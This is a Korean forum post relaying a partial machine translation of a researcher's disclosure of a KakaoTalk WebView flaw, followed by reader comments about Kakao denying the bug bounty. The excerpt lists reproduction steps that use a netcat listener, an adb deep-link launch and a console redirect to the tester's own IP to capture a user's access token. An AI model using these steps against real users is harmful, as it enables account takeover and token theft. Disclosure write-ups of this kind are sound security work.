한국 최대 모바일 채팅 앱에서 원클릭 익스플로잇
페이지 정보
본문
** 본문은 chatgpt 4o로 번역되었으며, 기사의 일부만 번역 게시하였습니다.
[…]
카카오톡은 1억 건 이상의 다운로드 수를 기록한, 한국에서 가장 인기 있는 채팅 앱입니다. WeChat과 유사하게, 카카오톡은 결제, 차량 호출 서비스, 쇼핑, 이메일 등 모든 것을 하나의 앱에 포함하는 ‘올인원’ 앱입니다. 하지만 카카오톡에서는 기본적으로 종단 간 암호화(E2EE) 메시징이 활성화되어 있지 않습니다. 일반 채팅방에서는 카카오톡 측에서 전송 중인 메시지에 접근할 수 있어 많은 사용자들이 이 방식을 선호합니다. 카카오톡에는 ‘보안 채팅’이라는 선택적 E2EE 기능이 있지만, 이 기능은 그룹 메시징이나 음성 통화 같은 기능을 지원하지 않습니다.
상거래 구매 액티비티의 보안 취약점
상거래 구매 액티비티(CommerceBuyActivity) WebView는 공격자 관점에서 매우 흥미로운 주요 진입점입니다.
•이 액티비티는 내보내지며, 딥 링크(e.g., adb shell am start kakaotalk://buy)를 사용하여 시작할 수 있습니다.
•JavaScript가 활성화되어 있습니다(settings.setJavaScriptEnabled(true);).
•JavaScript를 통해 데이터를 다른 내보내지 않은 앱 구성 요소로 보내는 intent:// 스킴을 지원합니다. 예를 들어, URI “intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=https://foo.bar;end”는 MyProfileSettingsActivity WebView에서 https://foo.bar 웹사이트를 로드합니다.
•intent:// URI의 정화 작업이 이루어지지 않습니다(예: Component 또는 Selector가 null로 설정되지 않음). 따라서 잠재적으로 모든 앱 구성 요소에 접근할 수 있습니다.
•추가적으로, Authorization HTTP 헤더에서 접근 토큰을 유출합니다. 이 동작을 재현하는 간단한 방법은 다음과 같습니다.
1.터미널 창에서 Netcat 리스너를 시작합니다: $ nc -l 5555
2.$ adb shell am start kakaotalk://buy를 실행하여 CommerceBuyActivity WebView를 시작합니다.
3.WebView.setWebContentsDebuggingEnabled(true); 설정으로 Chrome의 chrome://inspect를 사용하여 디버그할 수 있습니다.
4.Console 탭으로 이동하여 document.location="http://<your-IP-address>:5555/";를 입력합니다.
5.GET 요청과 Authorization 헤더를 확인할 수 있습니다.
이는 우리가 CommerceBuyActivity 내부에서 자체 JavaScript를 실행할 방법을 찾는다면, 사용자의 접근 토큰을 훔치고 사용자가 악성 kakaotalk://buy 딥 링크를 클릭할 때 임의의 앱 구성 요소를 시작할 수 있다는 것을 의미합니다.
추가 보안 점검 사항
안타깝게도 임의의 공격자가 제어하는 URL을 로드할 수는 없습니다. 아래 코드를 보면 일부 검증이 진행되고 있음을 알 수 있습니다:
![](https://damoang.net/data/editor/411a6-667cb20a7b521-5b2dcca3d6c262bd24db2fda188b1dbe38040238.jpg)
이 코드를 보면, 우리는 URL의 경로, 쿼리 매개변수 및 프래그먼트를 제어할 수 있습니다. 그러나 모든 것은 https://buy.kakao.com으로 시작되는 문자열 m36725d로 접두사로 붙습니다. 이는 사용자가 딥 링크 kakaotalk://buy/foo를 클릭하면 https://buy.kakao.com/foo URL이 CommerceBuyActivity WebView에서 로드된다는 것을 의미합니다.
가능성 있는 공격 시나리오
아마도 https://buy.kakao.com에서 Open Redirect 또는 XSS 문제가 있을 수 있습니다. 이를 통해 JavaScript를 실행할 수 있을지 확인해볼 필요가 있습니다.
이상으로, 카카오톡 상거래 구매 액티비티에서 발견된 보안 취약점에 대한 분석을 마칩니다. 추가적인 보안 점검과 취약점 개선이 필요할 것으로 보입니다.
[…]
... 출처 및 원문: https://stulle123.github.io/posts/kakaotalk-account-takeover/
맥과 소소한 삶의 이야기..
Blog https://blog.naver.com/nearfall
RSS https://rss.blog.naver.com/nearfall.xml
-
등록일 어제 21:49
-
등록일 06.29 21:15
-
등록일 06.27 10:06
-
등록일 06.27 09:29
-
등록일 06.27 09:17
-
등록일 06.27 09:10
-
등록일 06.27 08:55
-
등록일 06.27 08:38
-
등록일 06.27 07:53
-
등록일 06.27 07:44
맥과 소소한 삶의 이야기..
Blog https://blog.naver.com/nearfall
RSS https://rss.blog.naver.com/nearfall.xml
Superjh21님의 댓글
문제는 버그바운티는 한국인, 외국인 모두에게 다 주는 거라는게 ㅋㅋ
KKKK님의 댓글
백장미님의 댓글의 댓글
쟘스님의 댓글
바운티를 안주는게 말이 되나요?
카카오 진짜 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
무슨 동네 구멍가게도 아니고
사유가 한국계좌가 없어서??????
카카오톡 진짜 치졸하네요.
좁아터진게 상도덕 날려버린 마인드가 아니라 보안이었다면 우주최강 보안을 이뤘을텐데.
umonster님의 댓글
포상금이 있는데 한국 계좌가 없어서 못받았다는군요;